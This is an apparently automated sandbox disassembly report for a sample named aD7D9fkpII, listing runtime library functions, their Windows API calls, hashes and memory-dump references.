Opcode Fuzzy Hash: 83d2f0644a8b5aa525ee1ef61181f3adce4362ce6ed6f26b7d162268c1ba2cab
Instruction Fuzzy Hash: 0131643290011AEFCF18EFA8D8949EDB7B9FF09324B14126AE512E7690D731ED54CB90

Function 00881A88 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008819F9: GetModuleHandleExW.KERNEL32(00000002,00000000,0087E1E1,?,?,008819BC,?,?,0088198D,?,?,?,0087E1E1), ref: 00881A05

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,A9416E27,?,?,?,008A0244,000000FF), ref: 00881AEF

Part of subcall function 0087B1F0: std::_Throw_Cpp_error.LIBCPMT ref: 0087B21C
Part of subcall function 0087B1F0: std::_Throw_Cpp_error.LIBCPMT ref: 0087B238

Part of subcall function 0088386F: ReleaseSRWLockExclusive.KERNEL32(?,?,?,0087B2B9,?,0087F9C2), ref: 00883884

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: 8acbee3b3b11a25c53b853f14cbe836f9ba7704ff8ce5eac5be28e94f648f6cf
Instruction ID: 38504ce10a1de66f9953aefe1393a37c03f81c0d71e99aadc10afde419bc661f
Opcode Fuzzy Hash: 8acbee3b3b11a25c53b853f14cbe836f9ba7704ff8ce5eac5be28e94f648f6cf
Instruction Fuzzy Hash: B9112B32A00610ABDF157B69EC19B2E77ADFF06B20B10491AF516C7A91DF35D802CB51

Function 00882940 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: a7d4b0fbb7d3aa3dff77bc7f683378026a5e4158fc8e69abb770933f186a3cd1
Instruction ID: c6602d451ca8d678a2078e1ec31bc1b6935ff8bb8b2c6962279d2e971e1524d0
Opcode Fuzzy Hash: a7d4b0fbb7d3aa3dff77bc7f683378026a5e4158fc8e69abb770933f186a3cd1
Instruction Fuzzy Hash: FC01F4366082561ECB29FA7CED69AA8BF20FF86334F20516FD052D81D2CB128855C710

Function 008904C1 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0088119F,?,?,008731F2,00001000,?,0087313A), ref: 008904F3

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e894c560df8563ea3e593efd728f874985e8ba045c798cc1907651598a46fc30
Instruction ID: 3669b33ff61f5a9f2da50798c9a3450b1e84f35697ae09f4fe67ee8697575c97
Opcode Fuzzy Hash: e894c560df8563ea3e593efd728f874985e8ba045c798cc1907651598a46fc30
Instruction Fuzzy Hash: 4CE0E5311402159FEE313765DC00B6B3648FF02BA4F194121AF0AD65C0EB20EC018EAA

Function 00880500 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00880521

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction ID: 2374ee9709adb49699b050aee1d5e81e4ab92dea3dd25a8ae56c51f60be2fde8
Opcode Fuzzy Hash: e661e17063f482c27c2836dd3bd1e7e1a569301e29a1a9b0824203d682e51f04
Instruction Fuzzy Hash: 55E01A30C0020CABCB44FBA8D14556EB7B5FF40314F1080A9E849A7361DA319A04CF52

Function 0087B9E0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0087BA01

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction ID: 45c2c58900eaf0ad3c4d10c9e6f2209bb13d14e1cf56767b7989e55fbd508c21
Opcode Fuzzy Hash: d54092ffe385f37bf38e100b09a46dbf490ab7c81b07d1c2ddcf268f775d5759
Instruction Fuzzy Hash: 23E0BF30D4420C9BCB04FFA8D15569DB7B5FF44318F1080A9E41997355EB319E54CB46

Non-executed Functions

Function 0089BA42 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0089BC59

Strings

1#SNAN, xrefs: 0089BB4E
1#QNAN, xrefs: 0089BB55
1#IND, xrefs: 0089BB47
1#INF, xrefs: 0089BB78

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 32658b2194bb7920806d6751691132cb2ba9569a1429e45da6016c7740d0e58a
Instruction ID: e5e5c71482189e79a202fb501d2e58d72bad5e962907eef135eeb6928ebbc350
Opcode Fuzzy Hash: 32658b2194bb7920806d6751691132cb2ba9569a1429e45da6016c7740d0e58a
Instruction Fuzzy Hash: F2D20571E082298BDF65DE28DD407EAB7B5FB84315F1841EAD40DE7240EB79AE818F41

Function 00895DD3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,008957A4,00000002,00000000,?,?,?,008957A4,?,00000000), ref: 00895E6C
GetLocaleInfoW.KERNEL32(?,20001004,008957A4,00000002,00000000,?,?,?,008957A4,?,00000000), ref: 00895E95
GetACP.KERNEL32(?,?,008957A4,?,00000000), ref: 00895EAA

Strings

OCP, xrefs: 00895E27
ACP, xrefs: 00895DF1

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 94ec411294fb939455e31950cc9efa7f4abb990b4da175028c329cf380a57ef1
Instruction ID: 4dd49cd13aca9d848ae5250d23ea7487b3642311b877c36c74e9ed97df8d4245
Opcode Fuzzy Hash: 94ec411294fb939455e31950cc9efa7f4abb990b4da175028c329cf380a57ef1
Instruction Fuzzy Hash: 4C216072A00904AAEF26AF55C904AAF73A6FB54F54B5E8424E90ADB500E733DF41C790

Function 0089566E Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00895776
IsValidCodePage.KERNEL32(00000000), ref: 008957B4
IsValidLocale.KERNEL32(?,00000001), ref: 008957C7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0089580F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0089582A

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 2f5f085a59c0fc3b687805263b573d76d18dd92ba71e70908eb55150ca52ec5e
Instruction ID: 92eb5ecabd7da23b356b22ae3b174de0701f44197c38f0b1960c4070b8c5b2df
Opcode Fuzzy Hash: 2f5f085a59c0fc3b687805263b573d76d18dd92ba71e70908eb55150ca52ec5e
Instruction Fuzzy Hash: 7C515F71A00609EFEF12EFA8CC45ABE77B8FF45700F1C4469A911E7691EB709A44CB61

Function 0088E930 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction ID: 5cc9fbc377a8edd18052cd309e2491e7e5261e33df1ea5397c964cc53598f3eb
Opcode Fuzzy Hash: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction Fuzzy Hash: 06023A71E012199FDF14DFA8C9806AEBBF1FF48324F258269E919E7381D731A945CB90

Function 008963B5 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008964A5

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 761cfd29a84b820f7f379a6301cd2b85421eb09c82667c30dfa32ea3f5e5bcd8
Instruction ID: de62bcfd6dbb507daa0bc9afc55286812e010e5a0c78df76a3c8fe22f7d1cb50
Opcode Fuzzy Hash: 761cfd29a84b820f7f379a6301cd2b85421eb09c82667c30dfa32ea3f5e5bcd8
Instruction Fuzzy Hash: A171F2B1C05169AFDF21BF688C89ABEBBB8FB05304F1841D9E009D3211EB318E949F15

Function 00884073 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0088407F
IsDebuggerPresent.KERNEL32 ref: 0088414B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00884164
UnhandledExceptionFilter.KERNEL32(?), ref: 0088416E

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 56faaa7fb1a4a986132fa81e201d9031a247fb080bfc937a0b43ff3d302af080
Instruction ID: 23cf10d9ceef9fbd6bb6503d3d26e2fc021b1499f231d1551b0cddc67ad3abd7
Opcode Fuzzy Hash: 56faaa7fb1a4a986132fa81e201d9031a247fb080bfc937a0b43ff3d302af080
Instruction Fuzzy Hash: CE31F776D012199BDB20EFA4D9897CDBBB8FF18300F1041AAE50DAB250EB759A84DF45

Function 0089595A Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008959AE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008959F8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00895ABE

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 6e4943a1874367d151df2616fb940ba8069f25f92b7d462298cf2ac93812066c
Instruction ID: b58f2982537a63643150e546daac7184ae615a0912f22a7984be9da5e017b9e8
Opcode Fuzzy Hash: 6e4943a1874367d151df2616fb940ba8069f25f92b7d462298cf2ac93812066c
Instruction Fuzzy Hash: D2619071A00A179FDF2AAF28CCD2BBA77A8FF04320F184169E905C6585E774D981CB54

Function 0088CDB0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0088CEA8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0088CEB2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0088CEBF

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7aa8394a627e9a56e2b8eea96a7069f76369a07ca5d5df15f84496ef9fd0b648
Instruction ID: dab67a28f58c2d70b011fe8fd84d82bd2846c92d5475a224fdcdb6c13a518d03
Opcode Fuzzy Hash: 7aa8394a627e9a56e2b8eea96a7069f76369a07ca5d5df15f84496ef9fd0b648
Instruction Fuzzy Hash: 5F31D17594122CABCB21EF28DC8878DBBB8FF18310F5041EAE50CA7251EB309B858F45

Function 008847EF Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,00883918,0088386B,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 00884827
GetSystemTimeAsFileTime.KERNEL32(?,A9416E27,?,?,008A0227,000000FF,?,00884534,?,?,?,?,00884558,00000000,?), ref: 0088482B

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 67b497967d61b172096fbbd1df2d006d08baff06865e7204b06a0aa9b7121791
Instruction ID: 0d7726a245cbe9753a2b1081b7a74986188d7881cb2521cbd37a7b09180b0026
Opcode Fuzzy Hash: 67b497967d61b172096fbbd1df2d006d08baff06865e7204b06a0aa9b7121791
Instruction Fuzzy Hash: 8AF06577904658EFD705AF44EC45B6DB7A8F709B24F00462AE912D3F90DB356900CBD0

Function 00899C73 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00899BCE,?,?,00000008,?,?,008A005B,00000000), ref: 00899EA0

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 70e9de4a2ad3bacbc31b3e7305aa7b8884e31d4beb6a795fd7dcf4218d0144c3
Instruction ID: 646c2e1e7a890f2eec983459f7a21c08ef17a1d7dc21d993d347bc9aa36a38ac
Opcode Fuzzy Hash: 70e9de4a2ad3bacbc31b3e7305aa7b8884e31d4beb6a795fd7dcf4218d0144c3
Instruction Fuzzy Hash: B8B1E6316106099FDB19DF2CC48AB657BA0FB45364F29869CE8DACF2A1C735E991CB40

Function 00883CDF Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00883CF5

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e102f7ee765184fe89d2ba1290dbb8b5b3b78edd56a5fcd90e1fe62cdcd11a96
Instruction ID: 356d9af88896ad784e0624507ad6c8eb3209236070d297268dbbee562c3614e3
Opcode Fuzzy Hash: e102f7ee765184fe89d2ba1290dbb8b5b3b78edd56a5fcd90e1fe62cdcd11a96
Instruction Fuzzy Hash: 2EA16FB29027158FEB18CF64D8857AEBBF0FB49724F149A2AD412EBA60D3349941CF50

Function 00896304 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00891797: HeapAlloc.KERNEL32(00000008,00001000,?,?,008908B1,00000001,00000364,?,00000006,000000FF,?,?,0088C669,00890504), ref: 008917D8

